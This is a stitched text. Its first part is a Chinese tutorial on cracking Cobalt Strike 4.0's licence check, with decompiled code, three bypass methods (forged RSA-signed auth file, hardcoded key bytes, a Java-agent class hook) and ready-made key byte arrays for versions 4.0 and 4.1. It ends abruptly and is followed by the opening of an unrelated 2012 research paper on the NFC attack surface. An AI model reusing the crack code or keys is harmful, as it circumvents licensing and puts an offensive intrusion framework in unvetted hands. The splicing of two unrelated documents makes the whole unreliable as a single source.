MAC，全称 Message Authentication Code ，也称为消息认证码（带密钥的Hash函数），通信实体
双方使用的一种验证机制，保证消息数据完整性的一种工具。
在发送数据之前，发送方首先使用通信双方协商好的散列函数计算其摘要值。在双方共享的会话密钥作
用下，由摘要值获得消息验证码。之后，它和数据一起被发送。接收方收到报文后，首先利用会话密钥
还原摘要值，同时利用散列函数在本地计算所收到数据的摘要值，并将这两个数据进行比对。若两者相
等，则报文通过认证。
说白了就是计算摘要的时候，需要一个秘钥 key，没有秘钥 key 就无法计算
1.1.3、AES
破解 AES 算法需要多长时间？
以 AES-128 算法为例，平均需要尝试 2^127 ≈ 1.7*10^38 个 128bit 的随机数作为密钥进行加解密运
算，方能找到正确的密钥。
常言道，“天下武功，唯快不破”；反之，天下密码，快必可破。问题是，那得有多快？我们知道，比特
币网络在全球范围内调用了非常庞大的硬件资源以达到极高的运算效率，每秒钟操作的 Hash 运算
（SHA-256）可高达 2.5644*10^19次。虽然 AES 和 SHA-256 算法并不相同，运算量也有所差异，但我
们不妨近似地用该数据估算全球人民众志成城破解 AES 算法所需要的时间。
假设 AES 的运算效率为 2.564410^19 ≈ 2^64.4753 次/秒，则进行 2^127 次 AES 运算所需要的时间为：
2^127 / 2^64.4753 ≈ 2^62.5247秒 ≈ 6.6345 10^18 秒 ≈ 1.8429 10^15 小时 ≈ 7.6789 10^13 天 ≈ 2.104
* 10^11年 ≈ 210,400,000,000 年
（1）A 生成一对密钥（公钥和私钥），私钥不公开，A 自己保留。公钥为公开的，任何人可以获取。
（2）A 用自己的私钥对消息加签，形成签名，并将加签的消息和消息本身一起传递给 B。
（3）B 收到消息后，在获取 A 的公钥进行验签，如果验签出来的内容与消息本身一致，证明消息是 A 回复
的。
当你用公钥加密的时候，需要用私钥解密。
当你用私钥加密的时候，需要用公钥解密。
1.2、运行环境
此次破解测试使用的工具及文件为：
IntelliJ IDEA Community Edition 2020.1.4
Feb 22, 2020 - Cobalt Strike 4.0
使用过 IDEA 的朋友都知道，它具备反编译 Jar 包的能力。
首先，我们使用 IDEA 新建一个工程，将原始 Jar 包作为依赖进行导入，如下图所示：
此时 IDEA 将调用反编译模块，因此我们可以直接查看 jar 的源码，如图所示：
但由于单个文件点击，并不利于我们的有效查看，因此可以提取 IDEA 的反编译功能，用于对原始 Jar 包
的反编译。
下面我们进行测试，IDEA 的反编译功能依赖于 java-decompiler.jar ，该文件存在于以下路径当中：
其使用方法为:
%IDEA安装目录%\plugins\java-decompiler\lib\java-decompiler.jar
将反编译后的 Jar 包进行解压，将解压的文件（带文件夹）放入 src （该步骤仅将需要更改的文件放入
即可，当然，全部放也没关系），文件夹内，如下图所示：
然后就是设置编译生成 Jar 的步骤。
在 Main Class 中填写 aggressor.Aggressor ，其余默认即可；然后尝试 Build Artifacts... ，
正常情况下，则生成一个新的 Jar 包。
最后，为了方便实时预览及调试，我们需要对 Run 进行简单设置。
java -cp java-decompiler.jar
org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true
c:\my.jar d:\decompiled\
实践一下，是否配置都正常。出现以下信息就说明可行。
这部分内容不理解的朋友，可以去看看红队学院（知识星球）相关视频：RedCore 红队学院 CSTips
1.新建一个 run 配置
2.添加 JAR Application
3.选择运行的 Jar 包路径
4.配置启动该 Jar 包的虚拟选项
5.选择一个在执行 Run 操作时附带的操作
6.此处选择重新 Build Artiface
注意：如果不选择 5-6 步骤，则在点击 Run 前，需要手动 Build Artiface。
0x02 CS 3.X 版本的认证过程
其实，我们可以从头开始走一轮认证代码，3.X 相对简单，走下来其实不难。
主要涉及的文件：
先粗略说一下 3.X 的 .auth 整个加密过程是：
故此解密的话只需要逆向此流程即可，那么我们要伪造一个自己的授权文件的话，只需要把公钥替换为
自己的，然后使用自己的私钥对文本内容进行加密即可。因为只有在验证 GUI 和 Console 的时候需要进
行验证步骤，因此也可以直接写死 isValid() 、 isPerpetual() 和 isAlmostExpired() 的值。比
如：
4.0 相比于 3.14 版本，多了一轮新的验证及更为复杂。
0x03 CS 4 .X 版本的认证过程
之所以只说这个 CS 4.x 的认证过程，是因为该认证是在 3.X 的基础上进行改进的。
首先从主函数开始查看，第一步认证： License.checkLicenseGUI(new Authorization()); ，我们在
查看源码过程中，直接对源码进行注释即可。
common/License // license 检查逻辑
common/Authorization // 检查的细节实现
common/AuthCrypto // RSA 解密和解压
common/CommonUtils // 相关数据类型转换辅助
先对文本进行压缩，转换为 byte
添加特征头 0xca, 0xfe, 0xc0, 0xbb,0x00, 0x43
使用 RSA 进行加密
public Authorization() {
this.valid = true;
this.validto = "forever";
this.licensekey = "Cartier";
this.watermark = 1;
MudgeSanity.systemDetail("valid to", "perpetual");
MudgeSanity.systemDetail("id", this.watermark + "");
}
public class Aggressor {
public static final String VERSION = "4.0 (20200222) " + (License.isTrial() ?
"Trial" : "Licensed");
public static MultiFrame frame = null;
public static MultiFrame getFrame() {
return frame;
}
public static void main(String[] var0) {
3.1、checkLicenseGUI()
该函数是 CobaltStrike 的第一道验证，主要检查授权文件是否存在、解析的数据是否正确。
首先是对 GUI 的一个验证，该验证有且仅有一次验证；它是调用 Authorization 类 中的
isValid() 、 isPerpetual() 和 isAlmostExpired() 进行校验。
ParserConfig.installEscapeConstant('c', "\u0003");
ParserConfig.installEscapeConstant('U', "\u001f");
ParserConfig.installEscapeConstant('o', "\u000f");
(new UseSynthetica()).setup();
Requirements.checkGUI();
// 认证开始
License.checkLicenseGUI(new Authorization());
frame = new MultiFrame();
(new ConnectDialog(frame)).show();
}
}
public static void checkLicenseGUI(Authorization var0) {
// 判断文件是否存在、有效，格式是否正确等，isValid 函数是一个 flag，默认为 false
if (!var0.isValid()) {
CommonUtils.print_error("Your authorization file is not valid: " +
var0.getError());
JOptionPane.showMessageDialog((Component)null, "Your authorization file is
not valid.\n" + var0.getError(), (String)null, 0);
System.exit(0);
}
// 判断是否过期
if (!var0.isPerpetual()) {
if (var0.isExpired()) {
CommonUtils.print_error("Your Cobalt Strike license is expired. Please
contact [email protected] to renew. If you did renew, run the update
program to refresh your authorization file.");
JOptionPane.showMessageDialog((Component)null, "Your Cobalt Strike
license is expired.\nPlease contact [email protected] to renew\n\nIf you
did renew, run the update program to refresh your\nauthorization file.",
(String)null, 0);
System.exit(0);
}
// 计算有效期
if (var0.isAlmostExpired()) {
CommonUtils.print_warn("Your Cobalt Strike license expires in " +
var0.whenExpires() + ". Email [email protected] to renew. If you did
renew, run the update program to refresh your authorization file.");
JOptionPane.showMessageDialog((Component)null, "Your Cobalt Strike
license expires in " + var0.whenExpires() + "\nEmail [email protected] to
renew\n\nIf you did renew, run the update program to refresh your\nauthorization
file.", (String)null, 1);
}
}
}
而它们都依赖于 Authorization.Authorization() ，因此我们需要先对 Authorization() 进行分
析。
3.2、Authorization() 的分析过程
在 Authorization 类中，我们只需要查看 Authorization() 函数即可。
该函数主要解析授权码字段构成和有效期的计算，并且调用了 AuthCrypto 类的 decrypt 函数对文件
进行解密，详细信息请看代码注释。
isValid() // 判断文件是否存在、有效，格式是否正确等，isValid函数是一个flag，默认为false
isPerpetual() // 判断 forever 关键字是否存在，存在则结束函数
isAlmostExpired() - // 计算有效期
注：这三个函数方法的返回可直接写死，以绕过验证。
public Authorization() {
// 读取当前目录中的 cobaltstrike.auth 文件
String str = CommonUtils.canonicalize("cobaltstrike.auth");
// 判断文件是否存在
if (!(new File(str)).exists()) {
try {
File localFile = new
File(this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
);
if (localFile.getName().toLowerCase().endsWith(".jar")) {
localFile = localFile.getParentFile();
}
str = (new File(localFile, "cobaltstrike.auth")).getAbsolutePath();
} catch (Exception localException1) {
// 未找到该用于身份验证文件
MudgeSanity.logException("trouble locating auth file", localException1,
false);
}
}
// 以 byte[]方式读取 cobaltstrike.auth 文件内容
byte[] arrayOfByte1 = CommonUtils.readFile(str);
// 判断长度，取决于文件内容
if (arrayOfByte1.length == 0) {
this.error = "Could not read " + str;
} else {
// 初始化 AuthCrypto 类，并在初始化时调用 load()，以校验 authkey.pub 文件是否符合要
求
AuthCrypto authCrypto = new AuthCrypto();
// 调用 AuthCrypto 类中的 decrypt 方法对 cobaltstrike.auth 文件内容进行解密，校验
文件是否符合要求，并返回 byte
byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1);
if (arrayOfByte2.length == 0) {
this.error = authCrypto.error();
} else {
try {
// 相比 3.14 版本，多了个 DateaParser，是用于解析 byte 类型数据的类
DataParser dataParser = new DataParser(arrayOfByte2);
dataParser.big();
3.3、AuthCrypto 类
看看对 authkey.pub 及 cobaltstrike.auth 解密的类。
// 该值是用于判断是否永久有效（是否为发行版）
int i = dataParser.readInt();
// 该值应该是水印作用。该值如果为 0，则在生成的 shellcode 中会带入 cs 水印
（common/ListnerConfig.class）
this.watermark = dataParser.readInt();
// 该值是用于判断认证是否用于 Cobalt Strike 4.0+
byte j = dataParser.readByte();
// 取 16 个字节
byte k = dataParser.readByte();
// 获取关键 key，该 key是用于解密 Sleeved 的关键。
byte[] arrayOfByte3 = dataParser.readBytes(k);
if (j < 40) {
this.error = "Authorization file is not for Cobalt Strike 4.0+";
return;
}
if (i == 29999999) {
// 判断是否为 forever
this.validto = "forever";
MudgeSanity.systemDetail("valid to", "perpetual");
} else {
// 否则跳到试用期为20天
this.validto = "20" + i;
CommonUtils.print_stat("Valid to is: '" + this.validto + "'");
MudgeSanity.systemDetail("valid to",
CommonUtils.formatDateAny("MMMMM d, YYYY", this.getExpirationDate()));
}
this.valid = true;
MudgeSanity.systemDetail("id", this.watermark + "");
// 4.0 的 key 为 {27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118,
28, -74, 103, -53, 6}
SleevedResource.Setup(arrayOfByte3);
} catch (Exception localException2) {
MudgeSanity.logException("auth file parsing", localException2,
false);
}
}
}
}
/*
* 解密函数解析，主要是涉及 RSA 解密和 gzip 解压相关操作，这里作者其实是在文件头加了四个字节
* */
public final class AuthCrypto {
public Cipher cipher;
public Key pubkey = null;
protected String error = null;
public AuthCrypto() {
try {
// 构造方法中生成了一个 RSA/ECB/PKCS1Padding 的 ciper
this.cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
this.load();
} catch (Exception var2) {
this.error = "Could not initialize crypto";
MudgeSanity.logException("AuthCrypto init", var2, false);
}
}
// Load() -> 加载公钥，验证哈希
public void load() {
// RSA 解密常规初始化操作
try {
// 读取 authkey.pub
byte[] arrayOfByte1 =
CommonUtils.readAll(CommonUtils.class.getClassLoader().getResourceAsStream("reso
urces/authkey.pub"));
// MD5 操作
byte[] arrayOfByte2 = CommonUtils.MD5(arrayOfByte1);
// 对比 hash，以校验 authkey.pub 文件是否符合要求
if
(!"8bb4df00c120881a1945a43e2bb2379e".equals(CommonUtils.toHex(arrayOfByte2))) {
// 无效的授权文件
CommonUtils.print_error("Invalid authorization file");
System.exit(0);
}
X509EncodedKeySpec localX509EncodedKeySpec = new
X509EncodedKeySpec(arrayOfByte1);
KeyFactory localKeyFactory = KeyFactory.getInstance("RSA");
// RSA 公钥
this.pubkey = localKeyFactory.generatePublic(localX509EncodedKeySpec);
} catch (Exception var5) {
this.error = "Could not deserialize authpub.key";
MudgeSanity.logException("authpub.key deserialization", var5, false);
}
}
public String error() {
return this.error;
}
/*
* 解密 cobaltstrike.auth 的主函数，如果返回不为 null，则校验通过。
* */
public byte[] decrypt(byte[] paramArrayOfByte) {
// RSA 解密，并返回 byte 数组
byte[] arrayOfByte1 = this._decrypt(paramArrayOfByte);
try {
if (arrayOfByte1.length == 0) {
return arrayOfByte1;
} else {
// 将解密好的数据，交给了 DataParser
DataParser localDataParser = new DataParser(arrayOfByte1);
localDataParser.big();
// byte 数组转有符号 Int -> 取头部 4个字节判断文件头是否正确，这里并不是标准的
gzip头 -> byte[] b = {-54, -2, -64, -45}
// 注：有符号数最高位为1，表示负数；最高位为0，表示正数
int i = localDataParser.readInt();
结合上述两个代码，如果验证通过，则可以打开客户端页面。这与 3.X 的认证大致相同。
3.4、SleevedResource 类
与 3.X 不同的是，4.X 在 Authorization() 中新增了一个新的验证 SleevedResource.Setup() 。该
验证的大致流程为：
if (i == -889274181) {
this.error = "pre-4.0 authorization file. Run update to get new
file";
return new byte[0];
} else if (i != -889274157) {
this.error = "bad header";
return new byte[0];
} else {
// 处理文件头并解压
int j = localDataParser.readShort();
byte[] arrayOfByte2 = localDataParser.readBytes(j);
return arrayOfByte2;
}
}
} catch (Exception localException) {
this.error = localException.getMessage();
return new byte[0];
}
}
/*
* 这个函数需要注意的是，代入的数据是使用 RSA 公钥进行解密的，然后返回解密后的数据。
* 因此在生成 .auth 的时候，应该使用密钥进行加密。
*/
protected byte[] _decrypt(byte[] paramArrayOfByte) {
byte[] arrayOfByte = new byte[0];
try {
if (this.pubkey == null) {
return new byte[0];
} else {
synchronized(this.cipher) {
this.cipher.init(2, this.pubkey);
arrayOfByte = this.cipher.doFinal(paramArrayOfByte);
}
return arrayOfByte;
}
} catch (Exception localException) {
this.error = localException.getMessage();
return new byte[0];
}
}
}
跟进 SleevedResource.Setup(arrayOfByte3); 看一看：
1、使用 .auth 文件的一部分数据作为一个 key，将该 key 再进行处理拆分；
2、程序调用内置的 dll 文件；
3、读取 dll 文件，对 dll 文件进行处理拆分；
4、使用拆分的 key 分别对拆分的 dll 分别进行 hmac 摘要验证及 AES 解密。
5、最后执行 dll。
public class SleevedResource {
private static SleevedResource singleton;
private SleeveSecurity data = new SleeveSecurity();
public static void Setup(byte[] paramArrayOfByte) {
singleton = new SleevedResource(paramArrayOfByte);
}
public static byte[] readResource(String paramString) {
return singleton._readResource(paramString);
}
private SleevedResource(byte[] paramArrayOfByte) {
// 将 16 个字节的数据传入 SleeveSecurity.registerKey() 中
this.data.registerKey(paramArrayOfByte);
}
/*
* 这是一个读取文件，并对文件进行解密的函数方法
* paramString 是一个文件名（文件相对路径）
* */
private byte[] _readResource(String paramString) {
// strrep 是将 paramString 文件路径中的 resources/ 替换成 sleeve/
String str = CommonUtils.strrep(paramString, "resources/", "sleeve/");
// 替换之后实际上是读取 jar 包中 sleeve 目录下的文件，返回一个 byte[]
byte[] arrayOfByte1 = CommonUtils.readResource(str);
if (arrayOfByte1.length > 0) {
long l = System.currentTimeMillis();
// 将读取的文件 byte[] 代入解密阶段
byte[] arrayOfByte2 = this.data.decrypt(arrayOfByte1);
return arrayOfByte2;
} else {
// 不经过替换，直接读取源文件(sleeve 中不存在的文件，在 resources 中存在)
byte[] arrayOfByte3 = CommonUtils.readResource(paramString);
if (arrayOfByte3.length == 0) {
CommonUtils.print_error("Could not find sleeved resource: " +
paramString + " [ERROR]");
} else {
CommonUtils.print_stat("Used internal resource: " + paramString);
}
return arrayOfByte3;
}
}
}
发现调用 SleevedResource 类的构造函数并将该 byte 数组传递给了 dns.SleeveSecurity 的
registerKey() 方法，继续跟进该方法：
嗯，到这里没见到往下走的验证了，估摸着第一轮验证就结束了。
此时启动 teamserver ，则会在 temserver 中看到一个错误：
public void registerKey(byte[] paramArrayOfByte) {
synchronized(this) {
try {
MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-
256");
// 首先利用我们的 array，获取了一个 digest，大小是 256
byte[] arrayOfByte1 = localMessageDigest.digest(paramArrayOfByte);
byte[] arrayOfByte2 = Arrays.copyOfRange(arrayOfByte1, 0, 16);
byte[] arrayOfByte3 = Arrays.copyOfRange(arrayOfByte1, 16, 32);
// 取了 arrayOfByte1 的 0-16 作为 AES 的加密 key
this.key = new SecretKeySpec(arrayOfByte2, "AES");
// 取了arrayOfByte1 的 16-32 作为 Hmac 的加密 key
this.hash_key = new SecretKeySpec(arrayOfByte3, "HmacSHA256");
} catch (Exception var8) {
var8.printStackTrace();
}
}
}
[-] [Sleeve] Bad HMAC on xxxxx byte message from resource
注意：此验证是在调用 CS 内置 EXE/DLL 时所需要的，当验证不通过时，则出现该错误。因此当在绕过
了开头的限制，则可以开启客户端，只不过功能受影响；只有该验证顺利通过，才是完全授权验证。
3.4、decrypt() 方法调用链
我们搜索该错误，在 SleeveSecurity.decrypt() 中找到。
我们依次查看调用链：
我们在 SleevedResource 中看到此 decrypt() 方法的调用。而 readResource() 则调用了
_readResource() 。我们再查看关于 readResource() 的调用：
我们就此挑选比较干净的调用例子来分析。
此时回头查看 _readResource() 函数。
我们重点来看这个解密。
protected byte[] export_dll() {
// 判断框架位数，之后传入一个文件
byte[] arrayOfByte = SleevedResource.readResource(this.x64 ?
"resources/browserpivot.x64.dll" : "resources/browserpivot.dll");
String str = CommonUtils.bString(arrayOfByte);
Packer packer = new Packer();
packer.little();
packer.addShort(this.port);
int i = str.indexOf("COBALTSTRIKE");
str = CommonUtils.replaceAt(str, CommonUtils.bString(packer.getBytes()), i);
return CommonUtils.toBytes(str);
}
/*
* 这是一个读取文件，并对文件进行解密的函数方法
* paramString 是一个文件名（文件相对路径）
* */
private byte[] _readResource(String paramString) {
// strrep 是将 paramString 文件路径中的 resources/ 替换成 sleeve/
String str = CommonUtils.strrep(paramString, "resources/", "sleeve/");
// 替换之后实际上是读取 jar 包中 sleeve 目录下的文件
byte[] arrayOfByte1 = CommonUtils.readResource(str);
if (arrayOfByte1.length > 0) {
long l = System.currentTimeMillis();
// 将读取的文件 byte[] 代入解密阶段
byte[] arrayOfByte2 = this.data.decrypt(arrayOfByte1);
return arrayOfByte2;
} else {
// 不经过替换，直接读取源文件(sleeve 中不存在的文件，在 resources 中存在)
byte[] arrayOfByte3 = CommonUtils.readResource(paramString);
if (arrayOfByte3.length == 0) {
CommonUtils.print_error("Could not find sleeved resource: " +
paramString + " [ERROR]");
} else {
CommonUtils.print_stat("Used internal resource: " + paramString);
}
return arrayOfByte3;
}
}
/*
* 该函数是从 license文件中获取的 2 个 key 进行一些列的验证解密；
* 最终将加密的 dll 文件进行解密返回。
* paramArrayOfbyte 是源文件读取出来的 byte[] 数据
*/
这个方法要在初始验证阶段是不会进行调用的，为了方便调试，直接在 registerKey() 写个调用即
可，比如：
public byte[] decrypt(byte[] paramArrayOfbyte) {
try {
// 取 paramArrayOfbyte 的开头至倒数 -16 的数据，这段数据是 dll 的主体数据
byte[] arrayOfByte1 = Arrays.copyOfRange(paramArrayOfbyte, 0,
paramArrayOfbyte.length - 16);
// 取 paramArrayOfbyte 的剩下的 16 位数据。
byte[] arrayOfByte2 = Arrays.copyOfRange(paramArrayOfbyte,
paramArrayOfbyte.length - 16, paramArrayOfbyte.length);
byte[] arrayOfByte3 = null;
synchronized(this) {
// 先用我们在 license中生成的 hash_key 作为密钥，对 arrayOfByte1 进行摘要计算
this.mac.init(this.hash_key);
arrayOfByte3 = this.mac.doFinal(arrayOfByte1);
}
// 取 arrayOfByte3 的前 16位数据
byte[] arrayOfByte4 = Arrays.copyOfRange(arrayOfByte3, 0, 16);
// 两两对比，如果相等，则步入 else。该对比，主要防止 dll 被篡改。
if (!MessageDigest.isEqual(arrayOfByte2, arrayOfByte4)) {
CommonUtils.print_error("[Sleeve] Bad HMAC on " +
paramArrayOfbyte.length + " byte message from resource");
return new byte[0];
} else {
byte[] arrayOfByte5 = null;
synchronized(this) {
// 在对比成功后，将使用 key 对 dll主体内容数据进行 AES 解密
arrayOfByte5 = this.do_decrypt(this.key, arrayOfByte1);
}
DataInputStream dataInputStream = new DataInputStream(new
ByteArrayInputStream(arrayOfByte5));
int i = dataInputStream.readInt();
int j = dataInputStream.readInt();
if (j >= 0 && j <= paramArrayOfbyte.length) {
byte[] var10 = new byte[j];
dataInputStream.readFully(var10, 0, j);
// 最后返回解密后的文件，以便调用
return var10;
} else {
CommonUtils.print_error("[Sleeve] Impossible message length: " + j);
return new byte[0];
}
}
} catch (Exception exception) {
exception.printStackTrace();
return new byte[0];
}
}
我们只是捋清整个需要认证的过程，不细讨其他的东西，因此只需要知道 cobaltstrike.auth 文件的
组成和用处即可。
3.5、认证流程图
0x04 破解方法
理论上，穷举 Authorization() 中的 arrayOfByte3 有些不现实；因为逆着推回去，需要推出 hmac
的 key，AES 的 key，是我想多了。
因此，至少需要知道 arrayOfByte3 的值才可能正常运行成功。但在有这个关键 key 的前提下，我们可
以这么做。
4.1、方法一：重新生成 license
也就是说，我们要伪造一个自己的授权文件的话， 只需要生成自己的 RSA 公私钥，然后使用私钥对文本
内容进行加密，将公钥保存成 authpub.key ，并计算 MD5 值，对 AuthCrypto.class 中的
8bb4df00c120881a1945a43e2bb2379e 进行替换即可。这里的做法就是 Cobaltstrike 4破解之 我自己
给我自己颁发license 中的做法。
4.1.1、.auth 文件组成
由对 Authorization() 的分析过程可以得出文本内容应该由这些有效元素构成：
因此我们只需要逆推 DataParser 中的 readInt() 就可以得到想要的内容。
将 .auth 文件读取成 byte[]，处理之后得出 26 位的 byte[]，将其拆分为：
4位 -> 经过有符号转换 int，结果为29999999 -> 用于判断是否永久有效（是否为发行版）
4位 -> 经过有符号转换 int，结果不为 0 即可 -> 水印
1位 -> 该 byte 值必须是大于 40 且小于 128 -> 判断认证是否适合 4.x
1位 -> 该 byte 值必须是 16 -> key 的长度
16位 -> 该 key 理论上无法逆推
要注意的是：处理 .auth 文件的时候，还需要判断文件头...，因此还需要填充文件头，但按照分析下来，
是 4 个字节，但在实测过程中，发现是 6 个字节
因此 .auth 文件的必要数据是 32 位 -> 6 + 4 + 4 + 1 + 1 + 16
因此在解析 .auth 后返回的 byte[] 应该为：
代入测试：
4.1.2、生成 RSA 公钥、私钥及签名
该步骤，主要是生成 RSA 公私钥，然后使用私钥对上述生成的数据进行加密（注意，当你用私钥加密的
时候，需要用公钥解密）后保存到 cobaltstrike.auth 中。
你可以使用 openssl 生成，使用 2048 位即可，也可以使用代码生成，参考代码如下：
byte[] decrypt = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, 27, -27, -66, 82,
-58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.*;
import java.security.*;
import java.util.Base64;
public class RSAKeyPairGenerator {
private PrivateKey privateKey;
private PublicKey publicKey;
public RSAKeyPairGenerator() throws NoSuchAlgorithmException {
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair pair = keyGen.generateKeyPair();
this.privateKey = pair.getPrivate();
this.publicKey = pair.getPublic();
}
// 将byte 写入文件
public void byte2File(String path, byte[] data) throws IOException {
File f = new File(path);
f.getParentFile().mkdirs();
FileOutputStream fos = new FileOutputStream(f);
fos.write(data);
fos.flush();
fos.close();
}
public PrivateKey getPrivateKey() {
return privateKey;
}
public PublicKey getPublicKey() {
return publicKey;
}
// 加密数据
public byte[] encryptPri(byte[] data, PrivateKey privateKey) throws
BadPaddingException, IllegalBlockSizeException, InvalidKeyException,
NoSuchPaddingException, NoSuchAlgorithmException {
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, this.privateKey);
return cipher.doFinal(data);
}
public static void main(String[] args) throws NoSuchAlgorithmException,
IOException, IllegalBlockSizeException, InvalidKeyException,
NoSuchPaddingException, BadPaddingException {
RSAKeyPairGenerator PairGenerator = new RSAKeyPairGenerator();
byte[] data = { -54, -2, -64, -45, 0, 43, 1, -55, -61, 127, 0, 0, 34,
-112, 127, 16, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103,
-53, 6 };
byte[] rsaByte = PairGenerator.encryptPri(data,
PairGenerator.getPrivateKey());
PairGenerator.byte2File("RSA/cobaltstrike.auth", rsaByte);
成功生成，剩下的就是替换相关文件，再更改 AuthCrypto.load() 中的 MD5 值。
4.2、方法二：硬编码 key
直接在 Authorization() 中注释掉以下代码行：
然后直接将解析后的 byte[] 进行写入
4.3、方法三：CSHook.jar
以上两种方法都对 Jar 包进行修改，那我们再来看看不对源码进行修改的前提下进行 hook。Hook 的原
理就是热替换，热替换的核心就在于 Instrumentation 的两个方法：
这里主要是使用了 addTransformer() ，其实原理很简单，就是将 4.2 中编译好的 Authorization()
类进行热替换，从而不去修改 jar 包的情况下完成认证。
4.3.1、读取 Authorization.class
首先先读取改写好的 Authorization.class ：
PairGenerator.byte2File("RSA/authkey.private",
PairGenerator.getPrivateKey().getEncoded());
PairGenerator.byte2File("RSA/authkey.pub",
PairGenerator.getPublicKey().getEncoded());
}
}
byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1);
注释部分可以扩大到读取 cobaltstrike.auth 部分
byte[] arrayOfByte2 = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, 27, -27,
-66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6 };
// addTransformer（）用来注册类的修改器；
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// retransformClasses（）会让类重新加载，从而使得注册的类修改器能够重新修改类的字节码。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 先读取 Authorization.class，byte[] 转 base64
public void toByteArray(String filename) throws IOException{
File f = new File(filename);
if (!f.exists()) {
throw new FileNotFoundException(filename);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
BufferedInputStream in = null;
try {
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
然后再编写 addTransformer() 的调用类
4.3.2、Transformer 类
4.3.3、premain
byte[] buffer = new byte[buf_size];
int len = 0;
while (-1 != (len = in.read(buffer, 0, buf_size))) {
bos.write(buffer, 0, len);
}
String base64Str =
Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64Str);
//return base64Str;
} catch (IOException e) {
e.printStackTrace();
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}
public class Transformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class
classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)
throws IllegalClassFormatException {
if (className.equals("common/Authorization")) {
String base64class = "此处为 4.3.1 小节生成的内容";
System.out.println("Found desired class: " + className);
classfileBuffer = Base64.getDecoder().decode(base64class);
}
return classfileBuffer;
}
}
public class CSHook {
public static void premain(String paramString, Instrumentation
paramInstrumentation) {
System.out.println("Hook start");
Transformer transformer = new Transformer();
paramInstrumentation.addTransformer(transformer);
}
}
注意：指定 premain 方法的位置，这里选择了修改 META-INF/MANIFEST.MF 的内容，将 Main-Class
修改成 Premain-Class 。编译生成即可。
最后，这里提供 CS 4.1 的 key ：
0x05 参考
RSA加密、解密、签名、验签的原理及方法
Java加密解密之MAC（消息认证码）
暴力解决一切？破解AES也是妄想！
Patch Cobalt Strike 4.0
CobaltStrike4.0无Hook蛮力Cracked License思路
Cobaltstrike 4破解之 我自己给我自己颁发license
byte[] arrayOfByte2 = { 1, -55, -61, 127, 0, 0, 34, -112, 127, 16, -128, -29,
42, 116, 32, 96, -72, -124, 65, -101, -96, -63, 113, -55, -86, 118 }; | pdf |
Exploring the NFC Attack Surface
Charlie Miller
Managing Principal
Accuvant Labs
[email protected]
July 13, 2012
Charlie Miller: Exploring the NFC Attack Surface
Introduction
4
NFC protocols
5
Physical and RF layer
6
Initialization, Anti-Collision, and Protocol Activation layer
7
Protocol layer
7
Application layer
8
Example data capture
10
Fuzzing the NFC stack
13
Fuzzing setup
15
Fuzzing test cases
16
Results - Nexus S
18
Results - Nokia N9
25
NFC higher level code
26
Nexus S - Android 2.3.3
26
Galaxy Nexus - Android 4.0.1
28
Galaxy Nexus - Android 4.1.1
32
Nokia N9 - MeeGo 1.2 Harmattan PR1.3
33
Possible attacks
37
Android NFC Stack bug
37
Android Browser
38
N9 Bluetooth pairing
38
N9 bugs
39
Summary
41
Acknowledgements
42
Charlie Miller: Exploring the NFC Attack Surface
References
43
Charlie Miller: Exploring the NFC Attack Surface
Introduction
Near Field Communication (NFC) has been used in mobile devices in some countries
for a while, and is now emerging on mobile devices in use in the United States. This
technology allows NFC-enabled devices to communicate with each other within close
range, typically a few centimeters. NFC is being deployed and adopted as a way to
make payments, using a mobile device to communicate credit card information to an
NFC enabled terminal. It is a new, cool, technology, but as with the introduction of any
new technology, the question that must be asked is what kind of impact the inclusion of
this new functionality will have on the attack surface of mobile devices.
In this paper we explore this question by introducing NFC and its associated protocols.
Next, we describe how to fuzz the NFC protocol stack for two devices as well as provide
the results of our testing. Then we see for these devices what software is built on top of
the NFC stack. It turns out that through NFC, using technologies like Android Beam or
NDEF content sharing, one can force some phones to parse images, videos, contacts,
office documents, and even open up web pages in the browser, all without user
interaction.
In some cases, it is even possible to completely take control of the phone via NFC,
including stealing photos, contacts, even sending text messages and making phone
calls. The next time you present your phone to pay for your cab, be aware you might
have just gotten owned.
Charlie Miller: Exploring the NFC Attack Surface
NFC protocols
Understanding the NFC attack surface first requires some understanding of NFC and
the underlying protocols on which it is based. Figure 1, below, shows a diagram of most
of the associated protocols used for NFC transactions.
Figure 1: Relevant specifications for NFC
At its most basic level, NFC is a set of communication protocols based on radio-
frequency identification (RFID) standards, including ISO 14443. NFC uses the
frequency 13.56 MHz and its operating range is said to be between 3-10 centimeters,
although in practice it is typically near the lower end of that range. We’ve observed the
range of 2-3 centimeters in real world scenarios. NFC operates at low data rates,
ranging from 106kbit/s to 424kbits/s.
There are two general ways NFC communication takes place: in the first, there is an
initiator and a target. The initiator, for example a mobile device, actively generates a
radio frequency (RF) field that can power the passive target, such as an NFC tag. The
target tag answers by modulating the existing field provided by the initiator. This
enables the tag to be constructed very simply, without a need for power or batteries. In
Charlie Miller: Exploring the NFC Attack Surface
this situation the initiator can read or sometimes write data to and from the tag. There
are many types of tags and many protocols that can be used to interact with different
types of tags, again, please see Figure 1.
